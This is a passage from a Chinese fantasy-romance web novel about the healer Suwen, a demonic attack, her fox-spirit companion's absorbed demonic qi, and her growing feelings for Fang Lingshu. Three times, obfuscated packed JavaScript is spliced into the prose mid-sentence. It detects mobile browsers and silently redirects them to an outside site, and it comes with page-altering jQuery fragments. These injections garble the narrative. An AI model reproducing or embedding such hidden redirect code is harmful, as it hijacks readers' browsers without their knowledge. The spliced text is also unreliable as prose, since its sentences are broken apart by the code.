方灵枢正在给李重琲包扎,闻言一惊,连忙回过头来,他穿得多,将自己裹成了草堆,这一转差点将自己滚了出去。 素问连忙上前扶住他,顺手去探了探李重琲的脉。 方灵枢稳住身子,道:“衙内大约是从马上落下,扎到了枯枝上,冬衣挡住了一点,但腿上还是划破了一道口子。” “头也撞了,可能因此昏迷。”素问摸了摸李重琲的腿,又看了看他头上的伤,道,“还好,都是皮外伤,但是似乎冻了很久——爰爰,去找些柴来。” 爰爰连忙往附近的林子跑去。 方灵枢去解自己的冬衣,素问见状,连忙止住他:“别把自己冻着,衙内不会有事的。” “就怕冻得太久会有其他后遗症。”方灵枢目光落在李重琲额上的青块,道,“这一摔可不轻……他今日为何要出城?” 素问摇头:“还不带随从,岂不是自找苦吃?” 话音刚落,一个跑动的声音停了下来,素问只当是周围住户,不经意间瞥过去,发现竟然是石水玉,不由得讶然:“你怎么也来了?” 石水玉方才听到了方灵枢和素问的话,不自觉停下脚步,此时看进素问清澈的眼眸中,顿了一顿,哑然失笑——原来喜欢与否当真如此明显,素问看不见李重琲的付出,如同李重琲看不见自己。 方灵枢见石水玉忽然发笑,再看看李重琲,蓦然有些明白过来。 石水玉的黯然只在一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15409714|163002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞬,她很快便决定什么也不说,而是来到了李重琲身边,虽然心中多有怨怼,在见到李重琲的凄惨模样后,石水玉还是忍不住关心:“他还好么?” “还好。”素问抬头看着石水玉,问道,“倒是你,你没事罢?” “我?”石水玉一愣,垂头看自己,才发现方才摔的半身雪还粘在斗篷上,她立刻将雪拍去,道,“我好着呢,就是雪天路太滑了,马儿走不好。” 素问垂头撤去两根针,碰了碰李重琲的手心,发现没有方才冰凉了,于是问道:“你们俩是约好去哪里么?怎么也不寻个好去处?” 石水玉笑了笑,只道:“衙内不会摔坏了脑袋罢?怎么不醒呢?” 李重琲迷迷糊糊间感觉到有人拖着自己走,他却睁不开眼,等意识稍稍清醒些,便感觉到一只冰凉的手摸了摸他的额头,又握住他的手腕,李重琲脑中蓦然浮现出素问的面容,只是不等他高兴,忽然手腕上一阵刺痛,很快,一股暖流从手腕流向四周,他感觉自己身子没那么僵了,便明白是素问在为他医治。 李重琲当即飘飘然起来,结果下一刻,素问便松开了他,一只更温暖的手握住了他,好像更舒服些,但是手的主人竟说他摔坏了脑袋,当真是可恶!李重琲立刻挣扎起来,他觉得费尽了力气,终于睁开眼,便见自己左边坐着石水玉,右边蹲着正在生火的爰爰。 火升起的一瞬间,爰爰回头来看李重琲,发现他醒了,喜道:“重琲哥哥!” 石水玉若无其事地收回手,李重琲不禁看向她,这会儿忽然分不清梦与现实,他脑中空了一瞬,才傻傻问:“你救了我?” 爰爰张嘴想说什么,又想起素问方才的叮嘱,很是不甘心地闭上嘴。 石水玉垂眸,避开问题,问:“你感觉如何?” “腰!酸!背!痛!”李重琲咬牙切齿地撑着自己起身,环顾一周没见到想见的人,便问爰爰,“素问呢?你不是与她一道出来么?” 爰爰道:“方医师在做义诊,阿姐看你没什么事,就陪着一起去了。” 李重琲眼睛一亮,指着伤腿道:“素问果然在这里,这是不是她为我绑扎的?” “是方医师啦!”爰爰解释道,“我们来的时候,方医师已经给你治上了,不过柴禾都是我去捡来的!” 李重琲本不在意什么柴禾,但是摸摸烘得暖融融的左臂,他临时改了主意,诚恳道:“多谢你。”说罢,又看向石水玉,道,“也多谢你——不过你为何会在这里?” 爰爰撇嘴,等着石水玉说出“特地来找你”一类的话,不想石水玉沉默片刻,淡淡开口:“顺路。” 这种鬼话自然是谁都骗不了,李重琲打量着石水玉的脸色,试探地问:“你不高兴?” “没有。”石水玉依旧冷淡。 李重琲摸着下巴思索片刻,猛然瞪大眼睛:“你莫非是……特地来寻我?” 石水玉没说话,眉头紧皱,看向远处。 李重琲当她默认,一连“噢哟”了好几声,惯来擅长胡说八道的他,这会儿竟憋不出一句完整的话来。 爰爰耷拉着眼皮,冷冷地看着他们俩,最终觉得眼不见为净,径直起身离开。 “她去哪里?”李重琲一脸莫名。 “去寻素问罢。”石水玉说罢,正色问道,“你为何独自出城?又为何摔下马?” “着急出门,不舍得疾影跑雪地,就让仆从随便挑了一匹,不成想是个不中用的。”李重琲话一说完,察觉到不对劲,不够看向石水玉,“你觉得有人捣鬼?” “素问说上回你被绑的时候,布袋上是个死结,如今又有这档子事,还不够你惊觉么?” “上次我倒是问过……”李重琲刚开口,便发现自己露了馅,但在石水玉的睥睨下,只能硬着头皮道,“各有各的说法,听起来似乎不是故意的,我罚了罚也就罢了,没想到……难道真的有人要害我?可会是谁呢?” 石水玉冷笑:“你得罪的人那么多,确实不好甄别。” 李重琲一阵无言,知道自己说下去只会被石水玉嘲讽,便道:“罢了,我回去遣散这一批人便是,任他是谁,还能买通我身边所有的人么?” 石水玉“嗯”了一声,算是给了肯定。 43. 绿蚁红泥(三) 那厢,素问与方灵枢一起走在田埂上。夏去冬来,棚户区的人数似乎没有大变,但是细细看去,却发现面孔换了大半。素问不必深想,也知道消失的人都去了哪里,由此难免心中有些沉重。 “是叶医师来了哇!”一声响起,进而周遭零零落落地响起问候声。 素问猛然回神,笑着向众人回礼,目光转了一圈,回到了棚户前正在给孩子治冻伤的方灵枢身上,蓦然发现他也在看自己。 两人对视之间,方灵枢露出温柔的笑意,素问会意,轻轻点了点头,跳下田埂,与方灵枢一人负责一遍,挨家挨户去问诊。在此期间,素问拼拼凑凑,大致验证了自己的猜测,不过好在不是所有人都被旱灾和疫病夺走了生命,少部分还能走得动路的人几乎都是前往他乡,有人去蜀国,有人去吴越国,大体而言,去南方的多,鲜少有人选择往北边走,究其缘由,还是因为北边战乱不休,南方诸国已经安稳好些年了。 素问和方灵枢汇合在棚户区尽头,再往前是一大片荒芜的耕地,偶有土屋瓦房立在河岸上,兰兰原本的家就在其中。素问脑海中还盘桓着方才听到的消息,南国相对而言似乎能称得上是国泰民安,她来到人间后还不曾真正见过人们安居乐业的情景,于是不由得想起时兮盏中的幻境,她忍不住开口:“武盛县,富春江……” 方灵枢看向素问。 素问目光从兰兰家的方向收回,回视方灵枢,笑问:“在哪里?” 方灵枢有些茫然:“武盛县?” “东睦州,武盛县。”素问说罢,猛然想起时兮盏里的情形是很久以前的事了,便补充道,“应当是武周晚年。” 方灵枢略作思索,便想了起来:“想必是杭州桐庐?如今属吴越国。” “离这里远么?”素问道,“你以后会去么?” 方灵枢一怔:“我?” 素问忽然发现自己问得突兀,便笑道:“我问着玩呢,你家在洛阳,应当不会去他乡了。”素问指着前方,道,“去看看剩下的几家,回去的时候,衙内差不多就该醒了。” 方灵枢应声。 两人一前一后走在田埂上,为了防止滑倒,行进得很慢。过了好半晌,方灵枢忽然道:“也不一定。” 素问已经不再想去富春江的事了,毕竟只是一时兴起而已,闻言有一瞬的怔忡,尔后才想起他是在说什么,不甚在意地问:“怎么说?” 方灵枢在她身后认真道:“明年春,我会与母亲一道去北方,应州是他乡,从前也没想过会去,所以将来说不定会去桐庐,。” 素问回头去看方灵枢。 方灵枢一惊,忙道:“小心!”话音刚落,素问还好好地站着,他自己反倒脚下一滑,摔倒在田埂上。 素问忍不住笑起来,一边扶他,一笑道:“小心呀,方医师。” 方灵枢脸颊微红,有些狼狈地站起。 素问等他站稳,松开了手,问道:“你去应州做什么?看望姐姐么?” 方灵枢有些惊讶:“你还记得?” 素问笑道:“你母亲不是送嫁回来不久么?我自然记得。” 方灵枢便道:“二姐前些天来信说有孕,预计明年五月生产,母亲觉得我们过去看着些更安心,决定三月初就出发。” 素问“啊”了一声,问:“要去几个月么?” 方灵枢点了点头:“少说也要两三个月才能回来了。” “那你的药……”素问说着,忽然停了下来。 方灵枢越过她看向前方,见不远处的茅草屋旁蹲着一个黑影,细看下来,那如墨般的黑并不是衣物的颜色,而更像是一个人团在黑雾里。 “别过去,我感觉有些奇怪。”方灵枢道。 素问也知道,但是似乎已经迟了,黑影缓缓站起,转过身来。素问看到对方模样,不由倒吸一口凉气:“朝馨?” 朝馨看上去很奇怪,脸色惨白,嘴唇血红,整个人似乎年轻了许多,但眉目变得无比凌厉。 素问看到朝馨嘴边的血,目光下移,看到方才她挡住的地方,竟躺着一具尸体! 血气在一瞬间猛然袭来,素问一手将方灵枢推远,一手拍在腰间狐尾。朝馨手中的黑气蜿蜒如毒蛇而来,素问险险避开,只是到底修为被压制,还没等她在雪地站稳,另一道黑气不知从何方而来,紧紧缠住了她的脖子,直接掐着她举到半空。 “素问!!!”方灵枢目眦尽裂,来不及思索眼前到底是什么情况,也顾不得自己会是什么下场,直接将药箱扔向朝馨,自己紧随其后,整个人扑了过去。 听到素问的名字,朝馨原本冰冷如同死尸的面容微微一动,麻木的眼睛看向半空中的人。素问背后的烈日灼得朝馨不由眯起了眼,一道细如毫毛的银光一闪而过,没入她的眉心。 “啊——”朝馨猛地发出野兽一般的嚎叫,双手抱头,踉跄着往后倒走。黑气失控乱窜,其中一道贯穿方灵枢的胸口,方灵枢脚步一顿,无声无息地倒了下去。 素问刚得自由,见此情景,连忙将方灵枢护住,右手忍不住伸向发簪。 便在这时,一道红影闪过,“噗嗤”一声,朝馨的胸口伸出一只利爪,红影停在她身后,冷冷地看着眼前垂死的凡人。 素问惊呆了,喃喃唤道:“明月奴……”下一刻,她厉声喊道,“小心!” 朝馨的身体如同腐烂的鱼被戳破一般,黑气从伤口奔涌而出,方灵枢体内残余的黑气受到了召唤一般,尽数而出,奔涌着汇入明月奴体内。明月奴一连后退几步,摇摇晃晃地站住了,他瞪大了眼睛,垂头看着自己的心口,又缓缓抬头看向素问,眼神在一瞬间变得迷惘无助。 素问草草一探,确认方灵枢没有大碍,便给他喂了颗护心丹,然后起身朝明月奴跑去。她刚越过扑倒在地的朝馨,明月奴忽然朝后推后一步,抬手止住她。素问不知明月奴到底怎么了,只得放缓脚步,柔声道:“让我给你看看。” 明月奴仿佛失了魂魄一般,脸色惨白,捂着胸口跪倒在地。 素问立刻到他近前,扶着明月奴的双肩,让他不至于倒下。 明月奴抬头看她,勉强挤出一个笑,道:“别担心……和先前几次一样,就、就是有点恶心,等等……便好了……” 素问握住明月奴的手腕,刚要探他灵脉,便被一股蛮横的灵力弹了出去,素问试了两次,眼见着明月奴更加难受,只得停下,道:“我去问问星君!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15430628|163002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明月奴深吸一口气,摇了摇头,额间有汗滴落。 素问握住他的手,发现他手中冷汗津津,小狐狸本不该如此,她急道:“我带你回昆仑!” 明月奴闭上眼,面容依旧苍白,脸上却露出笑容。 不知为何,素问竟然在少年的脸上看出成年男子的轮廓来,她惊愕不已,仔细地观察对方,试探道:“明月奴?” “我没事。”明月奴说着,脸色当真稍稍恢复了一些,他盘腿结印,依旧闭着眼,沉声道,“阿姐去看看方医师罢。” 素问看着明月奴果然顺利入定,便去将方灵枢抱到明月奴身旁,一边注意着明月奴,一边查看方灵枢的伤势。 片刻之后,素问松开手,垂眸看向方灵枢,如今危机消除,再想起方才的情景,素问心里有些复杂——她并不依赖呼吸而活,朝馨即便掐住了她,也伤不到她,只是将眼前的凡人吓得够呛——若是战神归位后还有今日的记忆,他会不会觉得好笑呢? 素问这般想着,自己却没有笑,她默默看了方灵枢许久,终是忍不住轻轻握住了他的手,低声叹息:“傻子……” 半空之中,太阳在云后惊鸿一瞥,便又隐入厚重的阴云之后,周遭随之变暗。 一片沉寂中忽然出现一声喘鸣,垂死之人拼命还魂,口吐着血沫,撑起半身。 素问坐在原地没动,看向朝馨——她必死无疑了,此时去轮回,魂魄还有保全的可能,但她却有深刻的执念,一遍遍张着嘴,想要吐出只字片语。素问救不了她,但自觉应当明白朝馨的执念是什么,便开口道:“我一定会保护好兰兰。” 朝馨眼中流下血泪,呼吸声如同破旧的橐龠,越来越急促,却不肯咽气。 素问不禁皱眉,抛出细丝,缠住她的手指,而后催动灵力,一声沙哑的呐喊通过细丝直冲素问心底:“为何!!为何母亲身为女娘,却如此轻视折辱女子!!” 素问被惊得屏住了呼吸。 “同样遭受过轻视,为何……还会同样加害于我……好……恨呐……好……恨……”朝馨精气耗尽,缓缓垂下头,伏在低声,喘鸣渐渐变弱,很快便湮灭在北风之中。 素问久久不能回神,她不由回想起当日去寻朝馨所见情形,若是那时她看出朝馨的困境,施以援手,是不是就能避免今日的悲剧? 一个人该有多大的恨意,才会以虚弱的凡人之躯堕入魔道? 雪花不知从何时又开始落下,逐渐覆盖住冰冷的尸身。 明月奴睁开眼,静静地看着素问,轻声问:“阿姐怪我杀凡人么?” 素问呆呆地看着那片雪,过了片刻,摇了摇头:“朝馨已然入魔,她……该遭诛杀。” 明月奴怔然。 素问感觉有些奇怪,回头看向明月奴,问道:“怎么?” 明月奴低声道:“若是我有一日也成了魔呢?阿姐也要清理我么?” “不会。”素问果断道,“我一定会弄明白你吸入魔气的缘由,不会让你走到那个地步。” 明月奴淡然一笑:“届时,就怕阿姐有心无力。” 素问不由皱起眉头。 明月奴不再多说,朝素问身后抬了抬下巴,道:“兔子精找来了。” 44. 绿蚁红泥(四) 雪下到后半夜就停了,到清晨时,外面已经变成了晴天。日光照在雪地上,明亮得刺眼,昏迷的人不由皱起眉头,意识挣扎片刻,醒了过来。 方灵枢刚睁眼时有一瞬的茫然,他看到一个陌生的房间,简朴得如同雪洞,仿佛除了淡淡的药香,什么也没有一般。方灵枢蓦然想起昏迷前的情景,他连忙转头看向四周,待看到旁边盘腿打坐的人后,悬着的心才放了下来。 知觉这时才回到体内,方灵枢感觉浑身疼痛,尤其是胸口,只消动一动,便似脏腑移位。 “你别动了,阿姐说要静养着。” 方灵枢被忽然出现的声音吓了一跳,看向来源,才发现角落里的爰爰。 爰爰也是刚刚睡醒,她揉了揉眼睛,看了素问一眼,道:“阿姐在入定,不过应当很快就会回神的。” 素问的问询确实已经到了尾声——司命星君翻阅了半晌仙籍,也没查出明月奴为何会吸入魔气,更不知该如何将其逼出,他推测道:“你方才说他修炼手印也有所不同,许是妖修炼与人仙之间有区别?” “星君是天神,通晓六道,若认为合理,那或许就没问题。”素问看司命星君犹犹豫豫的模样,不禁忧心忡忡,“但魔气在明月奴体内隐匿无影,会不会忽然之间爆发?星君当真无法逼出么?难道任由明月奴自己消化?会不会出事?” 司命星君被素问连珠炮似的问题问得头大,索性将书一合,破罐破摔:“大不了入魔嘛。” 素问瞪大眼睛:“入魔?!” 司命星君见她反应激烈,连忙道:“玩笑话,玩笑话!” 素问皱眉,沉声道:“神魔对峙数万载,别人不知他们,星君应该明白的,这是一条万劫不复的路!” 司命星君轻点眉心,思索片刻,道:“这样,我再去翻一翻天书……” 素问默然看他。 司命星君眉头一挑,问:“你待如何?” 素问道:“若是星君当真无法,便让明月奴结束这趟旅程,立刻回昆仑去——昆仑没有战乱,而且通向仙界,灵气充裕纯净,就算暂时去不掉他体内的魔气,至少不会变得更差。” “他走了,你怎么办?” “我会小心,平日身边还有一个小妖爰爰可以帮忙,逼不得已还有它。”素问拍了拍木簪。 司命星君道:“你这样,可是断了明月奴成仙的捷径啊。” 素问摇头:“只能如此。” 司命星君静静地看了素问片刻,忽然笑道:“好!就依你!” 素问一愣,她原本以为还要费些口舌,没想到司命星君这样爽快地答应了,她倒有些迟疑了:“那……我去说了?” 司命星君点头:“去罢。” “……”素问总觉得有问题,她睁开眼时还在想司命星君到底是何用意,不想一抬头发现方灵枢已经醒了过来,她便将明月奴的事搁置一边,起身到方灵枢榻前问道,“感觉如何?吓坏了罢?” 方灵枢笑着回答:“无事,有叶大医师在,没什么好担心的。” 素问不由一笑,俯身号完脉,问道:“还是痛?” “一点点。” 素问无奈摇头,道:“我知道厉害,你莫要安慰我了。”说着,她让爰爰去买些早饭,自己则握住方灵枢的手,灵力通过他的经脉缓缓流去,虽然量很是微小,但可以稍稍打通阻塞的经脉,减轻些疼痛。 方灵枢感觉到身体的变化,惊奇道:“这就是修行么?” 素问点头。 方灵枢紧跟着问道:“我能学么?” 素问垂眸,沉默了片刻,才道:“等我治好你后,或许可以。” 方灵枢欣然道:“好!” 素问看向方灵枢,忍不住问:“若是你不能学呢?” 方灵枢一怔,认真问:“是没有根骨资质么?” 素问道:“也许没有。” “这也是很有可能的,毕竟凡人千千万万,能求仙问道的又有几人呢?”方灵枢说着,看向素问,发现她正在观察自己,蓦然明白方才她是在忌讳什么,当即笑道,“即便不能,你也不必为我难过,不管如何,我会好好过完这一世。” 素问微笑着点了点头。 这时爰爰敲门回来,将她从元度卿家要来的早餐摆上了桌子。素问留方灵枢独自用餐,她则去药炉旁挑挑拣拣,选出几样治外伤、内伤的药,等外间响起收拾碗筷的动静,她才起身出去,果然见方灵枢已经吃完了,正在穿衣服。素问:“不多躺躺么?” 方灵枢束好腰带,解释道:“我没受什么重伤,还是先回去罢。本来说好昨晚回家,一夜未归,家中恐怕担心。” 爰爰端着盘子,缩着脖子,掂着脚,自觉无人察觉地退了出去。 素问一阵无言,方灵枢也有些尴尬,两人相对片刻,素问忽然想起一事,问:“昨天的一切,你没有什么想问的么?” 方灵枢斟酌着道:“那些情景似乎不属于人间。” “确实,很反常。”素问有些忧虑,“人间乱了太久,惨死的人太多,留下了重重怨念,就会有妖魔从中滋生……其实我也不知该如何解决,可是总觉得你因此受了伤,应当知道一些原委——那个伤你的人是兰兰的母亲,名作‘朝馨’,她从前在我这里看病的时候就有魔气在身,我原本以为这是因为夫家虐待,后来她回了娘家,我去看望过一回,就没再留意。如今看来,夫家之怨只是其一,比起这些外人施加的伤害,朝馨似乎更加怨恨自己的母亲,恨母亲曾经遭遇了重男轻女的对待,最终却沦为同类,辱害自己的女儿。” 方灵枢忍不住靠近,柔声道:“素问……” “我没事,我没有这样的家人,只是有些想不明白,还有点……”素问皱起眉头,感觉喉咙有些哽。 “不要难过。”方灵枢轻声道,“舐犊之情,孺慕之情,这些在穷困潦倒面前多数都要大打折扣,一斗米难倒英雄汉,又何况是无知之辈?朝馨的母亲若是从出生开始便面对轻视女子的困境,她会习以为常,甚至潜意识里认为将来走出这困境的方式就是自己生出男儿,因为没有人告诉她真相,也没有给她指引另一条可以走的路。” 素问不禁道:“若是有了学识就会好么?” 方灵枢点头:“不敢说改变所有人的想法,但一定会好很多。” 素问恍然:“怪不得你要在善堂里开学堂、教技艺,你是给他们多一个选择。” 方灵枢屏住呼吸:“你知道了?” 素问笑道:“图师兄与你合办,我知道很奇怪么?” “唔……”方灵枢煞有介事地点头道,“你说得很是在理。” 素问看着他,心里不知何时变得平静起来,但另一种有些甜滋滋、又有些酸楚的感觉涌上来,让她想要寻求一些安慰,情不自禁道:“我可以抱你一下么?” 方灵枢一怔。 素问一惊,被自己的大胆言行吓得跳了起来,她连忙冲向门口,喊道:“明月奴!有、有没有马车?方医师要回家去!” “这么快?”爰爰探进头,发现方灵枢捂着伤处,傻傻地站在屋中,她连忙进来问,“方医师伤口疼么?要不要再住两日?诶?你的脸怎么这么红,莫非发热了?” 方灵枢轻咳了一声,道:“没有,回去慢慢恢复就好了。” “是么……”爰爰有些看不懂方灵枢的神情,若说他伤重难受,他却眼含笑意,若说他心情愉悦,他的唇色又实实在在很是苍白。没等爰爰琢磨明白,方灵枢已经往门外走去,爰爰连忙跟上,防止他摔倒。 方灵枢行到前屋时,素问站在门边,背着手不知在看什么,听到动静回过头来,看起来与往常无异。 但在两人对视上的瞬间,他们都感觉到有种微妙的变化出现了,方灵枢因之欣喜, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15442150|163002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 素问的感觉却更加复杂些,因此她先垂眸躲开目光,尔后欲盖弥彰地看向门外。 明月奴带着马车回到门前,他进门看到三人,笑道:“我猜到方医师今早要走,因此昨日将车夫留在元先生家后院,这不就用上了?” 方灵枢温声道:“多谢照顾,今日就暂且告辞了。” 明月奴让开路,客套道:“方医师好走。” 素问在方灵枢路过的时候,与他并肩出了门,直将人送到了马车上。 方灵枢拂开厚重的窗帘看向素问,沉默片刻,还是不知该说什么,便道:“快回去罢,外面冷。” 素问仰头道:“好好养身体,过几日我去看你。” 方灵枢笑着点了点头。 素问目光一瞥,见方灵枢的手指已经冻得发红,而自己不离开,他恐怕不会放下帘子,便转身进了屋。 片刻之后,马车行起,轧着雪路发出“咯吱咯吱”的声音,渐行渐远,直到以素问的耳力都听不见,想来是真正走远了。 明月奴静静地看着素问,等她不再聆听,才道:“阿姐舍不得了?” 素问没有回答,而是看向明月奴,认真道:“随我来,我有话说。” “什么?”明月奴直觉不妙,看了爰爰一眼,问,“她不能听?” “她现在不能,等会儿你若是想,可以告诉她。”素问说罢,起身往后院去,走了两步后,听到明月奴跟在身后,便引着他进了房间,尔后降下一道结界笼住两人,回头道,“魔气的事,我还是和星君说了。” 明月奴脸色一白,问:“然后呢?” “暂时无法治好,所以我提议让你回昆仑,星君也同意了。”素问觉得明月奴没什么拒绝的理由,接着道,“尽快出发,最好避开人群,免得路上再沾染上,回到……” “我不回去。”明月奴淡淡道。 素问一怔:“为何?” “修行贵在坚持,我怎能半途而废?” 素问急道:“可是这样下去,你能不能修行都成问题了!” 明月奴垂眸,顿了半晌,问:“最坏会怎样?” “入魔。” “入魔会怎样?” “丧失本性,变得残忍嗜杀,无法再回到六道之中,若是身死,从此烟消云散。” 明月奴短促一笑,问:“阿姐见过魔族么?为何笃定魔族就是茹毛饮血之辈呢?” 素问理所当然道:“天书仙籍都是如此记载,最近的例子便是朝馨,你也看到了。” “我能偷袭到手,难道不是因为朝馨听到你的名字后手下留情么?”明月奴负手行至窗边,抬眼冷冷地看着天空,道,“神魔对立,六道又以神明为至尊,所谓天书仙籍,又怎么能写得出真实的魔族?” 素问忙道:“你怎么会这样想?是不是体内的魔气左右了你的想法?星君当日让你跟着我是为了行善……” “星君从未说过要我行善积德。”明月奴打断道,“我要一直保护阿姐,绝不会离开,魔气没有改变我!反倒是阿姐,你原来说会一直带着我,甚至允诺在方灵枢痊愈后与我一道去妖界,如今却半途改了主意,真要说左右想法,难道不是阿姐因为对魔族的偏见而改变么?” 素问被噎住,沉默许久,道:“你方才说,星君他不曾要求你积累功德?” 明月奴很是确定:“从来不曾说过,阿姐可以去向星君求证。” 素问有些好奇:“那你来人间这一遭是为了什么?” 明月奴眼中有一瞬的迷茫,他摇了摇头:“我……不知来处,不知归途,当年星君寻我,是以明智作为交换,只要我陪你走完这段人间之旅,星君就会让我知道一切。” 素问呆住。 “所以,我是绝不会离开的。”素问回身看向素问,扬唇一笑,“不管是为了自己,还是为了阿姐的安危,我都不会离开。” 45. 绿蚁红泥(五) 素问与明月奴的交谈,最终以两人各退一步结束——素问不再坚持让明月奴离开,但是素问认为会有魔气出现的地方,明月奴也不能再去。 比如洛阳城外。 素问已经在坡上坐了小半个时辰了,不远处的若水善堂里,兰兰上完了早课,正在院内跟着师傅练习武术基本功。朝馨的魔化如同一根刺扎在素问心头,纵使她来人间短短几个月内已经看惯了生死,仍旧难以释怀,也不知该如何将真相告知兰兰。素问想,也许自己不必去说,兰兰就这样长大,她有了自己的生活,说不定会渐渐淡忘关于身世的一切,包括那个企图杀死她的父亲,和遗弃她……实则入魔后仍旧不忘为她复仇的母亲。 马蹄声渐渐靠近,到了身后停下,石水玉的声音紧接着响起:“我就猜到你会来这里。”话音刚落,石水玉已经到了素问身边,她顺着素问的目光看去,问道,“你要去报丧?” 素问看向身旁的人,问:“换做你会怎么做?” 石水玉回视素问:“告诉兰兰,她的母亲远嫁他方,夫家很好,所以不会再回来了。” “她若是问远方在哪里呢?” 石水玉垂眸,语气有些复杂,仿佛并不是在说兰兰:“说一个她永远也到不了的地方,她现在不懂,但在长大的过程中渐渐就会明白。这个过程就像是钝刀子割肉,疼得不重,也伤不到根本,但是会持续很久。” 素问摇头:“朝馨的尸体已经送回家,只要兰兰再大些,打听到外祖家的位置去问一问,立刻就能知晓真相。” 石水玉声音很轻,但很是笃定:“不会。” 素问心里没来由地一跳:“何意?” 石水玉定定地看了素问片刻,眼神忽然一软,声音也变得柔和:“我给了他们一些银钱,让他们莫要张扬,往后兰兰问起,就按我说的办,所以不会漏馅的。” 素问心里一松,感叹道:“还是你想得周全。” 石水玉不想再继续这个话题,拉着素问道:“走,带我去看看方医师的善堂,今天要不是元先生提起,我都还不知道呢!” 素问有些惊讶:“元先生?” “是啊,你以为是明月奴么?他可不会将你的行踪透露给我。”说到这里,石水玉难免带着怨气,将落雪那日在医庐的经历道出,埋怨道,“按理说我也不曾得罪过明月奴,他何至于如此防备我?” 素问只得向第二个“受害人”解释:“不熟悉的人,他都不喜欢,并不是针对你。” 石水玉不禁笑道:“怎么跟小猫儿似的?” 素问倒是觉得奇怪:“元先生从何处知道善堂一事?” “这就不得而知了,不过我知道他很关心你。” 素问一愣:“此话怎讲?” “我没有问他,是他主动跟我讲你在何处,还说你现在一定很迷茫,让我来劝解一二。”石水玉说着,感慨道,“爰爰还在那里好奇你为何迷茫呢,我看明月奴听着也有些惊讶,只有元先生发现了端倪,可见真的是用心了,这样的邻居可不多见。” “莫说爰爰和明月奴不曾发现,我没看到兰兰的时候,也没有察觉自己的想法。”素问甚是惊奇,“元先生会他心通不成?” 石水玉奇道:“何谓‘他心通’?” “佛家六神通之一,一经施展,便能洞悉别人心中所思所想。” 石水玉失笑:“素问你真是思绪云骞,换做是我可想不到这些。” 素问赧然:“我说笑呢!元先生能看穿我,想来是因为阅历足够,说来惭愧,我竟然不如他。” 石水玉莫名:“你比他小,这方面不如他也在情理之中,为何要惭愧?” 素问只能回之一笑。 两人并肩前行,快要到善堂门前时,石水玉忽然问:“你方才说佛家六神通,其余五个是什么神通?” 素问道:“天眼通、天耳通、宿命通、神足通,还有漏尽通。” “顾名思义,前面几个通都好解,但‘漏尽通’是何意?” “我生已尽,梵行已立,所作已办,不复还有,是名漏尽智证通。”素问说罢,连忙解释道,“我不懂佛法,只依稀记得这一句,想来‘漏尽通’大约就是超脱六道之外,再无烦忧扰身罢。” “烦恼尽除?”石水玉不禁喃喃,“这倒是个好神通。” 素问笑道:“怎么,你有什么烦恼不成?” “我等凡人的烦恼可有太多了,我呢,在其中还能做个翘楚。”石水玉说完,见素问想要开口,立刻道,“但是不值得向他人道出,是我自讨苦吃,你也就不必为我费神了。” 素问驻足,疑惑地看着石水玉,不懂她到底想说什么。 “但是……你与其他人都不一样,不会带给我烦恼。”石水玉也停下脚步,柔声道,“你会一直将我当做朋友罢?” 素问如实道:“我不了解你。” “非得完全了解才能做朋友么?我也不完全了解你,但是我真的很喜欢你,难道我们不能保留自己的秘密,同时成为好朋友么?” 素问眨了眨眼:“我以为,密友之间该是无话不谈。” 石水玉闻言,蓦然狡黠一笑,方才的认真荡然无存,她退后一步,似真似假地叹道:“这就没法子啦!真是遗憾!” 素问淡淡一笑,重新往前走,一边道:“所谓好友密友,我不在乎那些虚名,不过你若是有需要,可以随时来寻我,若是有了更好的去处,也不必害怕丢下我。” “我知道。”石水玉牵着马追上素问,真心实意道,“你能够适应车马骈阗,也能独自一人自得其乐。能够真心实意达到这样的境界,非得有足够坚定的心,这是我可望不可求的,我很羡慕你。” “这是优点么?”素问不解。 “瞧你说的话,这般见怪不怪,难道你的来处都是这样的人么?”石水玉反问。 素问茫然回想,发现确实是这样,仙人听命于神界,除此以外,他们有着自己的道,聚时状似莫逆,彻夜畅谈不在少数,但转瞬便能毫不留恋地挥手离去,甚至连对方名号洞府也不过问,万般皆随缘,从来没有人间这样深的羁绊,其中有道心坚定的原因,也有与天同寿赋予的从容。 在仙界时,素问可以花几十年独自在仙山中培育仙草,但是几十年对于一个凡人来说或许就是波澜壮阔的一生了,所以对凡人的心境提同样的要求,并不公平。 素问便道:“不是,我只是自己一个人习惯了。” 石水玉恍然:“也是,你说过的。” 这时,院内忽然传来兰兰的招呼声,两人一同看去,发现兰兰不知何时发现了她们,正欣喜地跳起来冲她们挥手。 授课的师傅看向外间,露出疑惑的神色。 素问顺势结束话题,进门道:“我是图太医的师妹,今日他要去宫中当值,由我替他授课。” 兰兰惊喜万分:“那我以后岂不是能时常见到阿姐?” 